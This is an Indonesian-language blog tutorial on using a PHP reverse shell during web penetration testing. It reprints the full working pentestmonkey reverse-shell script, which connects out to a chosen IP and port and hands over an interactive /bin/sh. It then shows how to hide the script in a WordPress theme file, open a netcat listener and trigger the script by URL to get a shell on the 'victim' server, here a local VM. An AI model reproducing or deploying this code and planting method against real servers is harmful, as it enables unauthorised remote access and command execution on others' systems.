Cara menggunakan PHP Reverse Shell

Cara menggunakan PHP Reverse Shell

Cara menggunakan PHP Reverse Shell

Cara menggunakan PHP Reverse Shell, bagi anda penetration tester (pentester) dimana anda memiliki spesialisasi pentes dalam bidang website. Tentunya anda pernah dong mendengar atau bahkan pernah menggunakan tool yang bernama PHP Reverse Shell, dimana tool ini digunakan ketika kondisi anda sudah memiliki akses untuk mengupload file tersebut kedalam webserver korban.

Untuk lebih lengkapnya anda bisa baca pengertian dan kegunaan PHP Reverse Shell dari pembuatnya secara langsung.

This tool is designed for those situations during a pentest where you have upload access to a webserver that’s running PHP. Upload this script to somewhere in the web root then run it by accessing the appropriate URL in your browser. The script will open an outbound TCP connection from the webserver to a host and port of your choice. Bound to this TCP connection will be a shell.

This will be a proper interactive shell in which you can run interective programs like telnet, ssh and su. It differs from web form-based shell which allow you to send a single command, then return you the output.

Intinya anda sudah memiliki akses ke webserver korban dan dapat mengupload file php reverse shell dan shell yang akan kita dapat ini bukan seperti webshell pada umumnya, php reverse shell sendiri memiliki shell interactive seperti jika kita menjalankan telnet, ssh ataupun su di webserver korban kita.

Pada korban saya kali ini, saya sudah mendapatkan akses kedalam wordpress korban saya. Maka saya sudah mempersiapkan tema yang sudah saya download dari wordpress, kemudian saya uncompress tema tersebut serta saya menambahkan file php reverse shell di dalam tema tersebut kemudian saya compress ulang. Misal nama file dari php reverse shell yang saya masukkan kedalam tema tersebut adalah youdont.php maka cara memanggilnya kurang lebih adalah sebagai berikut :

http://targetpentest.vuln/wp-content/themes/nama_tema/youdont.php

Oke sebelum itu isi dari youdont.php adalah script PHP dari PHP Reverse Shell itu sendiri, kurang lebih isi dari PHP Reverse Shell kurang lebih seperti dibawah yang bisa anda download di situs resminya langsung disini.

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.56.1';  // CHANGE THIS
$port = 4321;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>

Yang patut anda rubah pada script diatas adalah IP Address dan juga listening Port, dimana fungsi kita mengganti IP dan juga Port adalah guna script tersebut akan membuka IP dan juga port yang telah kita tentukan, dan kita akan listening port yang sudah kita siapkan untuk melakukan TCP Reverse Connection. IP Address disini adalah IP dimana yang bisa berhubungan secara langsung, misal korban kita ini berada di internet maka IP dari interface tunnel (VPN) yang akan kita gunakan. Akan tetapi webserver korban saya kebetulan ada di lokal (Virtual Machine).

Cara menggunakan PHP Reverse Shell


Seperti yang sudah saya bahas sebelumnya diatas, server korban saya berada di VM, oleh sebab itu edit IP yang berada di PHP Reverse Shell (youdont.php) dari 192.168.56.101 sesuai dengan IP dari Interface yang mengarah ke ke virtual interface VM. Maka dari itu buka terminal dan ketikkan #ifconfig vboxnet0 (tanpa tanda pagar), kemudian tekan enter.

IFCONFIG - tool to show IP configuration

IFCONFIG – tool to show IP configuration

Dari situ kita mengetahui ip kita adalah 192.168.56.101, maka dari itu pada bagian //CHANGE THIS ip yang sebelumnya kita ganti menjadi IP PC kita dan begitu pula dengan port, kita bebas mengganti port yang akan saya gunakan, saya lebih suka menggunakan port 4321.

Oke kembali ke topik bahasan, bagaimana menggunakan PHP Reverse Shell?

  1. Upload File PHP Reverse Shell atau edit file php yang berada di wordpress dengan editor yang telah disediakan oleh wordpress.

    Edit template wordpresss

    Edit template wordpresss

  2. Kemudian jalankan ketikan command berikut pada terminal di linux anda, #nc -l -v -p port (port disini adalah port yang sudah kita tunjuk atau pilih sebelumnya di file phpreverseshell), misalkan kalau saya di phpreverseshell saya edit menjadi 4321 maka dari itu saya ketik sebagai berikut :

    PHP Reverse Shell - reverse tcp connection

    PHP Reverse Shell – reverse tcp connection

  3. Setelah kita enter command diatas akan terdapat tulisan listening on [any] 4321, sebelum kita menjalankan file phpreverseshell yang sudah kita tanam di webserver korban maka tcp reverse connection tidak akan terbuka, oleh itu buka file phpreverseshell yang sudah kita tanam di webserver korban. Misalkan kita panggil sebagaimana berikut : http://192.168.56.101/blog/wp-content/themes/eleganto/youdont.php
    Running PHP Reverse Shell

    Running PHP Reverse Shell

    Maka tab tersebut akan loading terus-terusan, oh iya 192.168.56.101 adalah IP server dari korban kita. Nah setelah loading terus-menerus itu tandanya kita berhasil membuka connection reverse dari server korban ke pc kita. kembali ke Terminal maka kita akan mendapati tampilan seperti dibawah ini :

    Kita berhasil masuk ke shell korban, yeay asik boss!…

  4. Finally, kita dapat mengetikkan command linux pada shell tersebut layaknya kita sedang mengetikkan command linux pada PC kita sendiri. Padahal sebanarnya yang kita execute adalah command pada server korban melalui TCP Reverse Connection dari server korban ke PC kita.

    Like we execute command on telnet and SSH

    Like we execute command on telnet and SSH

Om telolet om, aseeek mantab kita bebas dapat mengetikkan command linux pada server korban dengan langsung tampil di jendela terminal kita. Mantab kan, itulah cara yang sangat mudah dalam menggunakan PHP Reverse Shell. Dan PHP Reverse Shell sendiri dalam mengexecute sebuah command linux lebih cepat tentunya daripada ketika kita menggunakan PHP Webshell. Oke semoga artikel yang saya buat bermanfaat bagi temen yang sedang belajar penetration testing ataupun temen yang sedang membutuhkannya :) Salam olahraga, wkwkwk.

Andreas Bernhard @Jakarta, 02 January 2016

Anda datang dengan kata kunci berikut:

download web shell PHP 2017 (1), rshell cara menggunakannya (1), shell php 2017 (1), 

One thought on “Cara menggunakan PHP Reverse Shell

  1. WordPress 4.5.4

    […] Yeay, lanjut ke penelusuran saya yang selanjutnya. Saya mencoba menanamkan PHP Reverse Shell untuk melihat jauh kedalam isi dari webserver vm tersebut. PHP Reverse Shell sendiri saya dapatkan dengan cara mengedit salah satu tema yang ada disana, dan cara untuk menggunakannya anda dapat melihat pada artikel saya sebelumnya disini : http://andreas-bkh.net/2017/01/02/cara-menggunakan-php-reverse-shell/. […]

Tinggalkan Komentar